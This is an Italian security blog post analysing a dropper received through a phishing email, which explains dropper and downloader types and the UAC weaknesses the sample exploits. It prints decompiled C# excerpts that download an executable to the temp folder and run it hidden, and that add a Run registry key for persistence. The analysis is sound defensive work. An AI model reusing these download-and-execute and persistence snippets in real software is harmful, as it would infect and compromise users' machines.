Back to Posts

Share this post

Analisi di un Dropper

Posted by: voidsec

Reading Time: 5 minutes

Come primo articolo di “ricerca” vi presento l’analisi di un Dropper, anche conosciuto come Downloader: vediamo assieme che cos’è!

Tipologie:

Dropper: molto simile a un binder/crypter, contiene il codice virale “inglobato” in se stesso (embedded): nelle risorse dell’eseguibile o nello stesso file (in uno spazio contiguo al codice del dropper). Analizziamo queste due strutture:

  • Il codice virale è contiguo al codice del dropper: il dropper, quando viene eseguito, legge la parte successiva dell’eseguibile stesso e scrive su disco un altro file che andrà ad eseguire in un secondo momento.
  • Il malware è salvato nelle risorse dell’eseguibile: il dropper copia il malware dalle risorse dell’eseguibile al disco. Se il file embedded o le risorse risultano criptati, il dropper dovrà prima decriptarli on the fly e poi scriverli su disco.

Downloader: un link al file da scaricare è hardcoded nell’eseguibile. All’avvio il downloader scaricherà sul computer il malware che verrà eseguito in seguito.

Il sistema descritto finora risulta poco efficace per evitare l’dentificazione da parte degli antivirus; la base del suo funzionamento è evitare la scansione alla scrittura del file sul disco. L’inefficacia è dovuta al fatto che i maggiori software antivirus identificheranno l’agente malevolo quando esso verrà scritto sul file decriptato dallo stesso dropper; inoltre essi posseggono degli unpacker e tecniche di analisi euristica oltre che in sandbox.

Altri aspetti quali: l’iniezione in memoria (injector), l’unione di più file (binder), i crypter, i packer, le analisi euristiche e in sandbox verranno trattati in articoli successivi e collegati da un sommario nell’apposita sezione.

La Storia

Recentemente ho ricevuto, nella mail che utilizzo per lo spam, un messaggio che recitava minaccioso il blocco di un conto corrente (presso una banca di cui non sono cliente) e invitava solertemente a scaricare un file compresso che doveva contenere i dettagli del blocco, i moduli per lo sblocco e la copia del contratto.
Incuriosito da quello che l’archivo poteva contenere, ho scaricato il file e a estratto il contenuto (un .exe, sarà un caso?).

L’Analisi

Premesso che dentro l’eseguibile non ho trovato i documenti per sbloccare il mio (inesistente) conto, l’antivirus installato mi avverte di aver rilevato un dropper nel file, precisamente: Trojan-Dropper.Agent

Un dropper generico utilizzatissimo su internet perchè ricavato dal codice sorgente di un’altro malware e successivamente riciclato praticamente all’infinito.

RDG Packer Detector mi restituisce le seguenti informazioni:

rdg

Perfetto, l’eseguibile è un semplice file compilato con Visual Basic .Net e non sembra essere offuscato. In realtà il codice scopro poi essere C#

Mi armo pertanto di un buon decompilatore e cerco di capirne il funzionamento; ecco degli estratti dal codice:

public void download(string sFileAddress) {
Process pProcess;

try{
string sFile = cMain.FunctionClass.genString(new Random().Next(5, 12)) + ".exe";
new WebClient().DownloadFile(sFileAddress, Environment.GetEnvironmentVariable("TEMP") + @"\" + sFile);
pProcess = new Process();
pProcess.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\" + sFile;
pProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pProcess.Start();
}
catch { }

}

Questo è l’estratto (probabilmente il meno interessante) della funzione che dato l’url da cui scaricare il file, effettua il download dello stesso e lo salva nella directory dei file temporanei. Da notare come all’eseguibile venga assegnato un nome casuale. In seguito il dropper avvia un processo “nascosto” (senza GUI per intenderci) dall’eseguibile appena scaricato.

Le seguenti linee di codice hanno attratto il mio sguardo:

Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true).SetValue(cMain.ConfigClass.sRegName[0], ('"' + cMain.ConfigClass.sFilePath[0] + '"'));

sFilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + sFileName[0];

La prima fa si che l’exe venga lanciato ad ogni esecuzione del sistema mentre la seconda va a settare la path dell’eseguibile nella cartella %APPDATA%.

Ma perchè proprio la chiave HKEY_CURRENT_USER e la cartella “Application Data”?
La precedente domanda trova la risposta nell’introduzione dell’articolo: il downloader quindi dovrà evitare il rilevamento da parte degli Antivirus e dell’utente, infatti il coder di questo software ha utilizzato una basilare tecnica che permette di bypassare l’UAC (Controllo Account Utente).
L’UAC infatti non controlla nè tantomeno blocca la lettura/scrittura/esecuzione di un file dentro Application Data o i valori di registro HKEY_CURRENT_USER.

Conclusione

Ora, non che questo metodo sia l’ultimo ritrovato della tecnologia in campo di malware, anzi, tutt’altro, se però sommiamo questa basilare tecnica a i successivi 5 punti capiremo con che facilità gli utenti possano essere ingannati:

  1. Le persone premono SEMPRE “SI”: perchè l’utente medio, nonostante il messaggio di avviso possa essere rosso e minaccioso, premerà sempre su “si” se la finestra continuerà a ripetersi. Dopotutto, chi legge il testo dei messaggi?
  2. E’ un un riflesso, e si sviluppa con atti di ripetizione: Ammettiamolo, se il 98% delle applicazioni che installiamo in un computer sono sicure, il restante 2% potrebbe non esserlo. Ma vuoi davvero perdere il tempo a leggere 200 finestre di dialogo in una giornata di 8 ore, se non sei pagato per farlo? Aggiungiamo a tutto questo il fatto che, il pulsante “Si” non è etichettato come “Sì”, ma come “Continua”; una parola che la mente quando è di fretta, è poco soggetta a processare e comprendere nella maniera corretta.
  3. Le persone sono infastidite: Gli utenti di fascia alta sanno disabilitare l’UAC, gli altri, a lungo termine, ne saranno semplicemente infastiditi e probabilmente dimenticheranno che l’UAC è una caratteristica di sicurezza, disattivandola non appena possibile; rimanendo pertanto maggiormente esposti e vulnerabili.
  4. I Malware normalmente non bussano alla porta: semplice, ci sono mille modi per bypassare l’UAC, i malware writer li conoscono e li usano.
  5. Non tutti sanno che è Malware: Non è che il malware abbia un icona “cattiva” di un teschio, anzi, spesso viene mascherato con icone e nomi di programmi che ci interessano. L’utente leggerà “Download Accelerator” e premerà su continua, Windows non ha alcun modo di dirvi: “Hey, guarda quì! Penso che sia Malware! ;)

Come sempre, per domande, chiarimenti o commenti, non esitate a postare sul forum!

di VoidSec

Back to Posts